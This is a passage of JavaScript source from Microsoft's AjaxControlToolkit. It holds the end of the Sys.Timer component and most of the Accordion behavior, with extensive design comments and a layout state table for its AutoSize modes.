    Sys.Timer.initializeBase(this);
    
    this._interval = 1000;
    this._enabled = false;
    this._timer = null;
}

Sys.Timer.prototype = {
    get_interval: function() {
        
        return this._interval;
    },
    set_interval: function(value) {
        
        if (this._interval !== value) {
            this._interval = value;
            this.raisePropertyChanged('interval');
            
            if (!this.get_isUpdating() && (this._timer !== null)) {
                this._stopTimer();
                this._startTimer();
            }
        }
    },
    
    get_enabled: function() {
        
        return this._enabled;
    },
    set_enabled: function(value) {
        
        if (value !== this.get_enabled()) {
            this._enabled = value;
            this.raisePropertyChanged('enabled');
            if (!this.get_isUpdating()) {
                if (value) {
                    this._startTimer();
                }
                else {
                    this._stopTimer();
                }
            }
        }
    },

    
    add_tick: function(handler) {
        
        
        this.get_events().addHandler("tick", handler);
    },

    remove_tick: function(handler) {
        
        
        this.get_events().removeHandler("tick", handler);
    },

    dispose: function() {
        this.set_enabled(false);
        this._stopTimer();
        
        Sys.Timer.callBaseMethod(this, 'dispose');
    },
    
    updated: function() {
        Sys.Timer.callBaseMethod(this, 'updated');

        if (this._enabled) {
            this._stopTimer();
            this._startTimer();
        }
    },

    _timerCallback: function() {
        var handler = this.get_events().getHandler("tick");
        if (handler) {
            handler(this, Sys.EventArgs.Empty);
        }
    },

    _startTimer: function() {
        this._timer = window.setInterval(Function.createDelegate(this, this._timerCallback), this._interval);
    },

    _stopTimer: function() {
        window.clearInterval(this._timer);
        this._timer = null;
    }
}

Sys.Timer.descriptor = {
    properties: [   {name: 'interval', type: Number},
                    {name: 'enabled', type: Boolean} ],
    events: [ {name: 'tick'} ]
}

Sys.Timer.registerClass('Sys.Timer', Sys.Component);
�)// (c) Copyright Microsoft Corporation.
// this source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />


// Some of the techniques used in this.script were adapted with permission from Bertrand
// LeRoy's MIX06 Demo (http://weblogs.asp.net/bleroy/archive/2006/03/28/441343.aspx)

Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.AutoSize = function() {
    /// <summary>
    /// The AutoSize enumeration is used to specify how the AccordionBehavior limits
    /// the growth of the accordion when panes are expanded and collapsed.  It must
    /// correspond to the AutoSize CLR enumeration in AutoSize.cs.
    /// </summary>
    /// <field name="None" type="Number" integer="true">
    /// Allow the accordion to expand/collapse without restriction.
    /// </field>
    /// <field name="Fill" type="Number" integer="true">
    /// Keep the accordion the same size as its specified size.  If any
    /// panes are larger or smaller than the available space, grow or shrink
    /// them to the available space.
    /// </field>
    /// <field name="Limit" type="Number" integer="true">
    /// Prevent the accordion from growing any larger than its specified size.
    /// If the content of a pane is too large to fit, grow it to fill the
    /// remaining space.
    /// </field>
    throw Error.invalidOperation();
}
AjaxControlToolkit.AutoSize.prototype = {
    None : 0,
    Fill : 1,
    Limit : 2
}
AjaxControlToolkit.AutoSize.registerEnum("AjaxControlToolkit.AutoSize", false);


AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs = function(oldIndex, selectedIndex) {
    /// <summary>
    /// Event arguments used to provide notification when an accordion's selected
    /// index is changed.  The same event argument type is used for both the
    /// selectedIndexChanging event and the selectedIndexChanged events.  If you set
    /// the cancel property to true during the selectedIndexChanging event, the
    /// accordion will not change panes.  The cancel property has no effect during
    /// the selectedIndexChanged event.
    /// </summary>
    /// <param name="oldIndex" type="Number" integer="true" mayBeNull="false">
    /// Last selected index
    /// </param>
    /// <param name="selectedIndex" type="Number" integer="true" mayBeNull="false">
    /// New selected index
    /// </param>
    AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs.initializeBase(this);

    this._oldIndex = oldIndex;
    this._selectedIndex = selectedIndex;
}
AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs.prototype = {
    get_oldIndex : function() {
        /// <value type="Number" integer="true" mayBeNull="false">
        /// Last selected index
        /// </value>
        return this._oldIndex;
    },
    set_oldIndex : function(value) {
        this._oldIndex = value;
    },
    
    get_selectedIndex : function() {
        /// <value type="Number" integer="true" mayBeNull="false">
        /// New selected index
        /// </value>
        return this._selectedIndex;
    },
    set_selectedIndex : function(value) {
        this._selectedIndex = value;
    }
}
AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs.registerClass('AjaxControlToolkit.AccordionSelectedIndexChangeEventArgs', Sys.CancelEventArgs);



// The Accordion layout is slightly complex because we support several AutoSize modes
// that are applied to an element collection across multiple events and animations.
// To make the code a little easier to understand, we'll provide a brief description
// of the element format, the control flow for laying out the elements, and an informal
// "correctness proof" of our algorithm.
//
// The Accordion server control will create a collection of panes which it will dump
// out as a sequence of <div>s where the (2i)th <div> is the ith header and the
// (2i+1)th <div> is the ith content section:
// 
//      <div id="Accordion" ... >
//          ...
//          <div id="2i" ... >Ith Header</div>
//          <div id="2i+1" ... >Ith Content</div>
//          ...
//      </div>
// 
// Because the <div>s may have padding, borders, or margins (we'll refer to these
// additional pixels as the "gutter"), we cannot collapse them all the way during
// animation (i.e. myDiv.style.height = '0px' will still show myDiv's padding,
// borders, and margins).  To work around this, we wrap all of the content section
// <div>s in wrappers that have no "gutter" style to end up with a tree of DOM
// elements that looks like:
// 
//      <div id="Accordion" ... >
//          ...
//          <div id="2i" ... >Ith Header</div>
//          <div id="2i+1 Wrapper">
//              <div id="2i+1 Original" ... >Ith Content</div>
//          </div>
//          ...
//      </div>
// 
// We automatically wrap the content section when it is passed to the addPane
// function.  From here on out, we'll refer to the behavior's target element (the
// root <div>) as the accordion, the dynamically created <div> as a wrapper, and
// the content section <div> as the original <div>.
//
// The primary purpose of the accordion is to expand and collapse its panes so that
// at most only one pane is open at a time.  We want to do this using animations for
// a polished effect, but we must also respect the AutoSize modes (where None allows
// the accordion to grow unrestrained, Limit provides a maximum height for the
// accordion, and Fill forces the accordion to always be the specified size).  Given
// the structure of an accordion, original <div>s, and wrapper <div>s, we accomplish
// the layout requirements using the following CSS properties:
//      Accordion root <div>:
//          height
//          overflow
//      Wrapper <div>:
//          height
//          opacity
//          overflow
//          display
//      Original content section <div>:
//          height
//          maxHeight
//          overflow
// 
// The large table below precisely defines the expected value of the properties at
// any given point in time.  Each of the columns 1 through 8 represents a possible
// state of the accordion.  Most of the time the accordion will be in states 1 and 5
// until the user clicks a header section and triggers a series of changes.  The rows
// of the table represent the properties of elements in a particular AutoSize mode.
// For example, a closed wrapper <div> with the Limit AutoSize mode should have a value
// of '0px' for its height.  Most of the properties in the the table are literal values
// like 'auto', 'hidden', '0px', etc.  The value Current for a property is used to
// indicate that a height set to 'auto' should be assigned its explicit value (i.e.
// element.offsetHeight) so that it will not be able to grow/shrink during an animation.
// The value Remaining for a height property refers specifically to the available space
// remaining after all the header sections of the accordion have been taken into
// consideration (this is used specifically for setting the size of the open content
// section when working in Limit or Fill AutoSize modes).  It's important to note that
// the Remaining value, retrieved by calling _getRemainingHeight, is slightly different
// for a wrapper <div> compared to a an original <div> because it must also consider the
// "gutter" offsets for an original <div>.  Finally, the animations (columns 3 and 7)
// are represented as transformations that take one property value to another when played.
//
//    ------------------------+---------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------+
//                            |  +---                         Closing an open pane                                    |                              Opening a closed pane                          <--+  |
//        AutoSize Mode       |  |        1.              2.                  3.                  4.                  |       5.              6.                  7.                  8.               |  |
//            Element         |  +-->     Opened   ->     Before Closing  ->  Closing      ->     After Closing     --+->     Closed    ->    Before Opening  ->  Opening     ->      After Opening ---+  |
//                Property    |           Pane            Animation           Animation           Animation           |       Pane            Animation           Animation           Animation           |
//    ------------------------+---------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------+
//        None:               |                                                                                       |                                                                                   |
//            Accordion:      |                                                                                       |                                                                                   |
//                height:     |           'auto'          .                   .                   .                   |       'auto'          .                   .                   .                   |
//                overflow:   |           'auto'          .                   .                   'auto'              |       'auto'          .                   .                   'auto'              |
//            Wrapper:        |                                                                                       |                                                                                   |
//                height:     |           'auto'          .                   Current -> '0px'    .                   |       '0px'           .                   '0px' -> Current    'auto'              |
//                opacity:    |           1.0             .                   1.0 -> 0.0          .                   |       0.0             .                   0.0 -> 1.0          .                   |
//                overflow:   |           'auto'          'hidden'            .                   .                   |       'hidden'        .                   .                   'auto'              |
//                display:    |           'block'         .                   .                   'none'              |       'none'          'block'             .                   .                   |
//            Original:       |                                                                                       |                                                                                   |
//                height:     |           'auto'          .                   .                   .                   |       'auto'          .                   .                   .                   |
//                maxHeight:  |           ''              .                   .                   .                   |       ''              .                   .                   .                   |
//                overflow:   |           'auto'          'hidden'            .                   .                   |       'hidden'        .                   .                   'auto'              |
//    ------------------------+---------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------+
//        Limit:              |                                                                                       |                                                                                   |
//            Accordion:      |                                                                                       |                                                                                   |
//                height:     |           Current         .                   .                   .                   |       Current         .                   .                   .                   |
//                overflow:   |           'hidden'        .                   .                   .                   |       'hidden'        .                   .                   .                   |
//            Wrapper:        |                                                                                       |                                                                                   |
//                height:     |           'auto'          Remaining           Remaining -> '0px'  .                   |       '0px'           .                   '0px' -> Remaining  'auto'              |
//                opacity:    |           1.0             .                   1.0 -> 0.0          .                   |       0.0             .                   0.0 -> 1.0          .                   |
//                overflow:   |           'auto'          'hidden'            .                   .                   |       'hidden'        .                   .                   'auto'              |
//                display:    |           'block'         .                   .                   'none'              |       'none'          'block'             .                   .                   |
//            Original:       |                                                                                       |                                                                                   |
//                height:     |           'auto'          .                   .                   .                   |       'auto'          .                   .                   .                   |
//                maxHeight:  |           Remaining       'auto'              .                   .                   |       'auto'          .                   .                   Remaining           |
//                overflow:   |           'auto'          'hidden'            .                   .                   |       'hidden'        .                   .                   'auto'              |
//    ------------------------+---------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------+
//        Fill:               |                                                                                       |                                                                                   |
//            Accordion:      |                                                                                       |                                                                                   |
//                height:     |           Current         .                   .                   .                   |       Current         .                   .                   .                   |
//                overflow:   |           'hidden'        .                   .                   .                   |       'hidden'        .                   .                   .                   |
//            Wrapper:        |                                                                                       |                                                                                   |
//                height:     |           'auto'          .                   .                   .                   |       'auto'          .                   .                   .                   |
//                opacity:    |           1.0             .                   1.0 -> 0.0          .                   |       0.0             .                   0.0 -> 1.0          .                   |
//                overflow:   |           'auto'          'hidden'            .                   .                   |       'hidden'        .                   .                   'auto'              |
//                display:    |           'block'         .                   .                   'none'              |       'none'          'block'             .                   .                   |
//            Original:       |                                                                                       |                                                                                   |
//                height:     |           Remaining       .                   Remaining -> '0px'  .                   |       '0px'           .                   '0px' -> Remaining  .                   |
//                maxHeight:  |           ''              .                   .                   .                   |       ''              .                   .                   .                   |
//                overflow:   |           'auto'          'hidden'            .                   .                   |       'hidden'        .                   .                   'auto'              |
//    ------------------------+---------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------+
//
// Although this table is rather large, it's extremely useful because it allows
// us to present an informal argument for the correctness of our layout algorithm.
// It's easy to verify that if an accordion starts in state 1 and proceeds through
// steps 2, 3, and 4 when closing, it will arrive properly in state 5.  Similarly
// an accordion starting in state 5 that is opened will progress through steps 6, 7,
// and 8 to arrive back at step 1.  Clearly then any accordion starting in a valid
// state of 1 or 5 can be opened or closed repeatedly and return to a proper state.
// It's also worth pointing out that this layout algorithm can operate on one or two
// panes at a time (i.e. if all panes were closed and one were clicked, it would
// open a single pane...  but if one pane were already open and another were clicked,
// it would have to close one while opening the other).
//
// States 1 and 5 from the above table are implemented in the _intiailizeLayout and
// _initializePane functions.  States 2 and 6 are handled by the _startPaneChange
// function while states 4 and 8 are handled by the _endPaneChange function.  Finally,
// states 3 and 7 are intialized and played in the _changePanes function.



AjaxControlToolkit.AccordionBehavior = function(element) {
    /// <summary>
    /// The AccordionBehavior is used to turn properly structured XHTML into an
    /// Accordion with panes that can expand one at a time.
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// The DOM element the behavior is associated with.  It should contain an
    /// even number of child divs (such that ith pane has a header at div 2i and
    /// has content at div 2i+1).
    /// </param>
    AjaxControlToolkit.AccordionBehavior.initializeBase(this, [element]);

    // The _selectedIndex variable is used to track the currently visible content
    // pane.  It is persisted via ClientState so that it can be restored on PostBack.
    // If 0 <= _selectedIndex < _panes.Length is not true, then no pane is selected
    // (and they all appear collapsed).  While any index outside the bounds of the
    // _panes array indicates that no pane is selected, we don't automatically set
    // the value to a sentinel like -1 (especially on the server) because it's
    // possible for additional panes to be added at any time.  We abstract this
    // problem using the get_Pane() function which returns the selected pane when
    // it's called with no arguments (and returns null when the current selected
    // index is invalid).
    this._selectedIndex = 0;

    // The _panes array represents the collection of Accordion panes.  Each element of
    // the array is an object of the form {header, content, animation} corresponding
    // to that pane's header section, content section, and the animation used to open
    // and close its content section.  The content element is a new div that has been
    // created to wrap the original div (so we can completely collapse it - even if it
    // has padding, margins, etc.) which is pointed to by a dynamic _original property.
    // The header element has a dynamic _index property indicating its position in the
    // Accordion's pane collection (used primarily by the headers' shared click handler).
    // Furthermore, the animation will either be an instance of LengthAnimation or
    // ParallelAnimation (in the latter case, it will have two children which are a
    // LengthAnimation and a FadeAnimation).  There will be two dynamic properties
    // _length and _fade pointing to each of these children (to easily set the length
    // and fadeEffect properties).  There is also a dynamic _ended property which is
    // an event handler to be fired when the animation is complete, a dynamic _opening
    // property to indicate whether the animation was opening or closing the pane, and
    // a dynamic _pane property to provide a reference to the pane that was being
    // animated.
    this._panes = [];

    // The this._fadeTransitions flag determines whether or not we enable a simple fade
    // animation effect on top of the opening and closing effect
    this._fadeTransitions = false;

    // The this._duration represents the transition duration of the animations in seconds
    this._duration = 0.25;

    // framesPerSecond is used to tune the animation to perform well depending on
    // the the type of effect being used an the number of accordion panes, etc.
    this._framesPerSecond = 30;

    // Determine how growth of the Accordion will be controlled.  If it is set to
    // None, then the Accordion can grow as large or as small as necessary.  If it is
    // set to Limit, then the Accordion will always be less than or equal to its
    // available space.  If it is set to Fill, then it will always be equal to its
    // available space.
    this._autoSize = AjaxControlToolkit.AutoSize.None;

    // Whether or not clicking the header will close the currently opened pane (which
    // leaves all the Accordion's panes closed)
    this._requireOpenedPane = true;

    // Whether or not we suppress the client-side click handlers of any elements
    // (including server controls like Button or HTML elements like anchor) in the header
    // sections of the Accordion
    this._suppressHeaderPostbacks = false;

    // Size of all the headers
    this._headersSize = 0;

    // The _headerClickHandler is a reference to the event handler that all the header
    // elements of our panes will be wired up to
    this._headerClickHandler = null;

    // The _headerSelectedCssClass is the css class applied to the selected header.    
    this._headerCssClass = '';

    // The _headerSelectedCssClass is the css class applied to the selected header.    
    this._headerSelectedCssClass = '';

    // The _headerSelectedCssClass is the css class applied to the selected header.    
    this._contentCssClass = '';

    // The _resizeHandler is a reference to the global event handler used to patch
    // up the accordion when the window is resized
    this._resizeHandler = null;

    // Check the browser version and document mode to see if IE8 in standards-compliant mode is used
    this._isIE8InStandardMode = (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version > 7 && Sys.Browser.documentMode != 0);
}
AjaxControlToolkit.AccordionBehavior.prototype = {
    initialize: function() {
        /// <summary>
        /// The initialize function is responsible for getting the selected index from
        /// the ClientState mechanism and walking the children of the behavior's target
        /// to find all of the accordion's child panes.  It builds up a collection of the
        /// panes from the headers and content sections.  Then we hide all the content
        /// sections that aren't selected and initialize the layout.
        /// </summary>
        /// <returns />
        AjaxControlToolkit.AccordionBehavior.callBaseMethod(this, 'initialize');

        // Create the onclick handler used by the accordion's headers
        this._headerClickHandler = Function.createDelegate(this, this._onHeaderClick);

        // Get the selected index from ClientState
        var state = this.get_ClientState();
        if (state !== null && state !== '') {
            this._changeSelectedIndex(parseInt(state), false, true);
        }

        // Walk the children of the target control to obtain the accordion's child panes.
        // We are expecting a hierarchy of divs that looks like:
        //   <div id="accordion">         this.element
        //     ...
        //     <div id="header_i"></div>   this.element.childNodes[2i]
        //     <div id="content_i"></div>  this.element.childNodes[2i+1]
        //     ...
        //   </div>
        // We'll turn this hierarchy of divs into objects filling the _panes collection.
        // See the comment above the _panes array for more details on the structure of
        // these objects.  It's also worth pointing out that we effectively "box" the
        // index so it can be passed by reference to the _getNextDiv function
        var nodes = this.get_element().childNodes;
        var index = {};
        for (index.value = 0; index.value < nodes.length; index.value++) {
            var header = this._getNextDiv(nodes, index);
            if (!header) {
                break;
            }
            var content = this._getNextDiv(nodes, index);
            if (content) {
                // Add the pane once we've found both a header and a content section
                // (but bump the loop index back so we don't skip an element when the
                // loop increments)
                this.addPane(header, content);
                index.value--;
            }
        }

        // Ensure we have an opened pane if we're required to (and use the first
        // pane if we don't have a valid selected index)
        if (this._requireOpenedPane && !this.get_Pane() && this._panes.length > 0) {
            this._changeSelectedIndex(0, false, true);
        }

        // Setup the layout for the given AutoSize mode
        this._initializeLayout();
    },

    _getNextDiv: function(nodes, index) {
        /// <summary>
        /// Get the next div in a sequence of child nodes starting at the
        /// given index
        /// </summary>
        /// <param name="nodes" type="Array" mayBeNull="false" elementMayBeNull="true"
        ///   elementType="Sys.UI.DomElement" elementDomElement="true">
        /// Array of child nodes (i.e. element.childNodes)
        /// </param>
        /// <param name="index" type="Object" mayBeNull="false">
        /// The index is an object of the form { value } where index.value represents
        /// the current index in the collection of nodes.  We wrap the index in an object
        /// to perform the .NET equivalent of boxing so it can be passed by reference.
        /// </param>
        /// <returns type="Sys.UI.DomElement" DomElement="true" mayBeNull="true">
        /// The next DOM element representing a div tag, starting at the provided index.
        /// </returns>

        var div = null;
        while (index.value < nodes.length && (div = nodes[index.value++])) {
            if (div.tagName && (div.tagName.toLowerCase() === 'div')) {
                break;
            }
        }
        return div;
    },

    addPane: function(header, content) {
        /// <summary>
        /// Create a new Accordion pane given references to its header and content divs
        /// and add it to the _panes collection.  We also wrap the content div in a new
        /// container div, add a click handler to the header div, etc.
        /// </summary>
        /// <param name="header" type="Sys.UI.DomElement" domElement="true" mayBeNull="false">
        /// Header element of the new Accordion pane
        /// </param>
        /// <param name="content" type="Sys.UI.DomElement" domElement="true" mayBeNull="false">
        /// Content element of the new Accordion pane
        /// </param>
        /// <returns type="Object" mayBeNull="false">
        /// New pane object added to the end of the Accordion's pane collection.  The pane
        /// is an object of the form {header, content, animation} corresponding to that
        /// pane's header section, content section, and the animation used to open and
        /// close its content section.  The content element is a new div that has been
        /// created to wrap the original div (so we can completely collapse it - even if it
        /// has padding, margins, etc.) which is pointed to by a dynamic _original property.
        /// The header element has a dynamic _index property indicating its position in the
        /// Accordion's pane collection (used primarily by the headers' shared click handler).
        /// Furthermore, the animation will either be an instance of LengthAnimation or
        /// ParallelAnimation (in the latter case, it will have two children which are a
        /// LengthAnimation and a FadeAnimation).  There will be two dynamic properties
        /// _length and _fade pointing to each of these children (to easily set the length
        /// and fadeEffect properties).  There is also a dynamic _ended property which is
        /// an event handler to be fired when the animation is complete, a dynamic _opening
        /// property to indicate whether the animation was opening or closing the pane, and
        /// a dynamic _pane property to provide a reference to the pane that was being
        /// animated.
        /// </returns>

        // Create the new pane object
        var pane = {};
        pane.animation = null;

        // Initialize the header
        pane.header = header;
        header._index = this._panes.length;
        $addHandler(header, "click", this._headerClickHandler);

        // Wrap the content in a new element
        var accordion = this.get_element();
        var wrapper = document.createElement('div');
        accordion.insertBefore(wrapper, content);
        wrapper.appendChild(content);
        wrapper._original = content;
        pane.content = wrapper;

        // Remove any style facets (possibly) automatically applied by
        // CSS selectors so they don't interfere with UI/layout
        wrapper.style.border = '';
        wrapper.style.margin = '';
        wrapper.style.padding = '';

        // Add the new pane at the bottom of the accordion
        Array.add(this._panes, pane);

        // Setup the layout attributes for the pane so that it will be in a proper opened or
        // closed state (we don't bother setting the opacity of the wrapper with
        // $common.setElementOpacity(wrapper, selected ? 1 : 0); because it will
        // be taken care of by the animation)
        this._initializePane(header._index);

        // Since the content section of the accordion panes will be sent down from the server
        // with display: none (so the content sections aren't shown before they're wrapped in
        // new divs) we'll turn them back on once they've been wrapped in hidden divs
        content.style.display = 'block';

        return pane;
    },

    _getAnimation: function(pane) {
        /// <summary>
        /// Get the animation for the specified accordion section or demand create
        /// the animation if it doesn't already exist.
        /// </summary>
        /// <param name="pane" type="Object" mayBeNull="false">
        /// The pane is an object of the form {header, content, animation} corresponding to
        /// that pane's header section, content section, and the animation used to open and
        /// close its content section.  The content element is a new div that has been created
        /// to wrap the original div (so we can completely collapse it - even if it has
        /// padding, margins, etc.) which is pointed to by a dynamic _original property. The
        /// header element has a dynamic _index property indicating its position in the
        /// Accordion's pane collection (used primarily by the headers' shared click
        /// handler). Furthermore, the animation will either be an instance of
        /// LengthAnimation or ParallelAnimation (in the latter case, it will have two
        /// children which are a LengthAnimation and a FadeAnimation).  There will be two
        /// dynamic properties _length and _fade pointing to each of these children (to
        /// easily set the length and fadeEffect properties).  There is also a dynamic _ended
        /// property which is an event handler to be fired when the animation is complete,
        /// a dynamic _opening property to indicate whether the animation was opening or
        /// closing the pane, and a dynamic _pane property to provide a reference to the pane
        /// that was being animated.
        /// </param>
        /// <returns type="AjaxControlToolkit.Animation.Animation">
        /// Animation for the desired section
        /// </returns>

        var animation = pane.animation;
        if (!animation) {
            // Determine whether or not to just use the length animation or build a
            // composite effect with fading transitions (note that only the parent
            // animation has the duration/fps specfied)
            var length = null;
            var fade = null;
            if (!this._fadeTransitions) {
                animation = length = new AjaxControlToolkit.Animation.LengthAnimation(pane.content, this._duration, this._framesPerSecond, "style", "height", 0, 0, "px");
            } else {
                length = new AjaxControlToolkit.Animation.LengthAnimation(null, null, null, "style", "height", 0, 0, "px");
                fade = new AjaxControlToolkit.Animation.FadeAnimation(null, null, null, AjaxControlToolkit.Animation.FadeEffect.FadeOut, 0, 1, false);
                animation = new AjaxControlToolkit.Animation.ParallelAnimation(pane.content, this._duration, this._framesPerSecond, [fade, length]);
            }

            // Create references to the length and fade animations so we can easily
            // set the length and fadeEffect properties when animating without having
            // to reach into the composite animation.
            pane.animation = animation;
            animation._length = length;
            animation._fade = fade;
            animation._pane = pane;
            animation._opening = true;
            animation._behavior = this;
            animation._ended = Function.createDelegate(pane.animation, this._onAnimationFinished);
            animation.add_ended(pane.animation._ended);

            animation.initialize();
        }
        return animation;
    },

    _onAnimationFinished: function() {
        /// <summary>
        /// _onAnimationFinished is an event handler played after an animation (to open/
        /// close an accordion pane) has completed.  The delegate for this function should
        /// have associated it with an animation (so the this references below are expecting
        /// to reach expando fields declared on the animation).  It invokes _endPaneChange
        /// for the current pane.
        /// </summary>
        /// <returns />
        this._behavior._endPaneChange(this._pane, this._opening);
    },

    _initializeLayout: function() {
        /// <summary>
        /// Setup the layout of the accordion (either when the behavior is created or when the
        /// AutoSize mode is changed).
        /// </summary>
        /// <returns />

        // Stop any animations that are still playing (i.e. that haven't finished opening
        // or closing from changing previous panes) in case the user changed the AutoSize
        // mode while an animation was playing.
        for (var i = 0; i < this._panes.length; i++) {
            var animation = this._panes[i].animation;
            if (animation && animation.get_isPlaying()) {
                animation.stop();
            }
        }

        // Cache the initial size of the accordion
        var accordion = this.get_element();
        this._initialHeight = accordion.offsetHeight;
        var style = accordion.style;


        // Initialize the accordion itself
        if (this._autoSize === AjaxControlToolkit.AutoSize.None) {
            // Remove the window resizing handler
            this._disposeResizeHandler();

            // IE7 appears to have a rendering quirk where it will hide the
            // accordion if we change height or overflow from the empty string
            // to auto when it's contained in a fixed size div.  We'll just not
            // change the value if that's the case.
            var isIE7 = (Sys.Browser.agent == Sys.Browser.InternetExplorer && Sys.Browser.version >= 7)
            if (!isIE7 || (isIE7 && style.height && style.height.length > 0)) {
                style.height = 'auto';
            }
            if (!isIE7 || (isIE7 && style.overflow && style.overflow.length > 0)) {
                style.overflow = 'auto';
            }
        } else {
            // Add the window's resizing handler
            this._addResizeHandler();

            style.height = accordion.offsetHeight + 'px';
            style.overflow = 'hidden';
        }

        // Setup the layout attributes for the pane so that it will be in a proper opened
        // or closed state
        for (var i = 0; i < this._panes.length; i++) {
            this._initializePane(i);
        }

        // Resize the selected pane so (depending on the AutoSize mode) it will fill the
        // available remaining space after the headers have been laid out.
        this._resizeSelectedPane();
    },


    _initializePane: function(index) {
        /// <summary>
        /// Setup the layout attributes for the pane so that it will be in a proper opened or
        /// closed.  This will be called when adding a new pane for the first time or when
        /// changing the AutoSize mode.
        /// </summary>
        /// <param name="index" type="Number" integer="true">
        /// Index of the pane to initialize
        /// </param>
        /// <returns />

        var pane = this.get_Pane(index);
        if (!pane) {
            return;
        }
        var wrapper = pane.content;
        var original = wrapper._original;

        var opened = (index === this._selectedIndex);
        wrapper.style.height = (opened || (this._autoSize === AjaxControlToolkit.AutoSize.Fill)) ? 'auto' : '0px';
        wrapper.style.overflow = opened ? 'auto' : 'hidden';
        wrapper.style.display = opened ? 'block' : 'none';
        original.style.height = 'auto';
        original.style.maxHeight = '';
        original.style.overflow = opened ? 'auto' : 'hidden';

        var opacity = (opened || !this._fadeTransitions) ? 1 : 0;
        if (this._autoSize === AjaxControlToolkit.AutoSize.Fill) {
            if ($common.getElementOpacity(original) != opacity) {
                $common.setElementOpacity(original, opacity);
            }
            if ($common.getElementOpacity(wrapper) != 1) {
                $common.setElementOpacity(wrapper, 1);
            }
        } else {
            if ($common.getElementOpacity(wrapper) != opacity) {
                $common.setElementOpacity(wrapper, opacity);
            }
            if ($common.getElementOpacity(original) != 1) {
                $common.setElementOpacity(original, 1);
            }
        }
    },

    _addResizeHandler: function() {
        /// <summary>
        /// Attach the resize handler
        /// </summary>
        /// <returns />
        /// <remarks>
        /// This has been pulled out into its own method since we need to selectively wire
        /// up the resize handler depending on the AutoSize mode.
        /// </remarks>

        if (!this._resizeHandler) {
            this._resizeHandler = Function.createDelegate(this, this._resizeSelectedPane);
            $addHandler(window, "resize", this._resizeHandler);
        }
    },

    dispose: function() {
        /// <summary>
        /// Dispose of the AccordionBehavior
        /// </summary>
        /// <returns />

        // Remove the window resizing handler
        this._disposeResizeHandler();

        // Wipe all the animations
        this._disposeAnimations();

        // Wipe the _panes collection.  We're careful to wipe any expando properties
        // which could cause memory leaks in IE6.
        for (var i = this._panes.length - 1; i >= 0; i--) {
            var pane = this._panes[i];
            if (pane) {
                if (pane.header) {
                    pane.header._index = null;
                    $removeHandler(pane.header, "click", this._headerClickHandler);
                    pane.header = null;
                }
                if (pane.content) {
                    pane.content._original = null;
                    pane.content = null;
                }
                this._panes[i] = null;
                delete this._panes[i];
            }
        }
        this._panes = null;
        this._headerClickHandler = null;

        AjaxControlToolkit.AccordionBehavior.callBaseMethod(this, 'dispose');
    },

    _disposeResizeHandler: function() {
        /// <summary>
        /// Remove the resize handler
        /// </summary>
        /// <returns />
        /// <remarks>
        /// This has been pulled out into its own method since we need to selectively wire
        /// up the resize handler depending on the AutoSize mode.
        /// </remarks>

        if (this._resizeHandler) {
            $removeHandler(window, "resize", this._resizeHandler);
            this._resizeHandler = null;
        }
    },

    _disposeAnimations: function() {
        /// <summary>
        /// Dispose all the animations.  This method was pulled out of dispose so we could
        /// allow the user to change the FadeTransitions property after the behavior was
        /// already initialized.  We can merge it back into dispose once we support generic
        /// animations on the Accordion.
        /// </summary>
        /// <returns />

        for (var i = 0; i < this._panes.length; i++) {
            var animation = this._panes[i].animation;
            if (animation) {
                // Stop the animation if it was still playing
                if (animation.get_isPlaying()) {
                    animation.stop();
                }

                // Remove the event handler that runs after the animation completes
                if (animation._ended) {
                    animation.remove_ended(animation._ended);
                    animation._ended = null;
                }

                // Dispose the animation's resources (timer, etc.)
                animation.dispose();

                // Wipe expando properties to prevent leaks in IE6
                animation._length = null;
                animation._fade = null;
                animation._pane = null;
                animation._opening = null;
                animation._behavior = null;
                this._panes[i].animation = null;
            }
        }
    },

    _resizeSelectedPane: function() {
        /// <summary>
        /// Adjust the size of the currently selected pane (upon initialization,
        /// resizing the window, etc.)
        /// </summary>
        /// <returns />

        var pane = this.get_Pane();
        if (!pane) {
            return;
        }

        // Cache the header size so it only gets looked up when the window resizes
        this._headersSize = this._getHeadersSize().height;

        var original = pane.content._original;
        switch (this._autoSize) {
            case AjaxControlToolkit.AutoSize.None:
                original.style.height = 'auto';
                original.style.maxHeight = '';
                break;
            case AjaxControlToolkit.AutoSize.Limit:
                var remaining = this._getRemainingHeight(false);
                original.style.height = 'auto';
                original.style.maxHeight = remaining + 'px';
                break;
            case AjaxControlToolkit.AutoSize.Fill:
                var remaining = this._getRemainingHeight(true);
                original.style.height = remaining + 'px';
                original.style.maxHeight = '';
                break;
        }
    },

    _onHeaderClick: function(evt) {
        /// <summary>
        /// OnClick handler to open the desired pane
        /// </summary>
        /// <param name="evt" type="Sys.UI.DomEvent" mayBeNull="false">Event info</param>
        /// <returns />

        // Get the header that raised the event (by walking up the event target's
        // control hierarchy until we find an element just below the root of the accordion)
        var header = evt.target;
        var accordion = this.get_element();
        while (header && (header.parentNode !== accordion)) {
            header = header.parentNode;
        }

        // Stop the event from bubbling out of the header pane and prevent any
        // action from happening unless we clicked a control inside the header
        evt.stopPropagation();
        if (this._suppressHeaderPostbacks) {
            evt.preventDefault();
        }

        // Select this pane (which saves it to ClientState and initiates an animation
        // to show the content pane).  If the user clicked the currently open pane and
        // we're not required to keep one pane open, then we'll set the selected index
        // to -1 which will close it (which means all panes will be collapsed).
        var index = header._index;
        if ((index === this._selectedIndex) && !this._requireOpenedPane) {
            index = -1;
        }
        this._changeSelectedIndex(index, true);
    },

    _changeSelectedIndex: function(index, animate, force) {
        /// <summary>
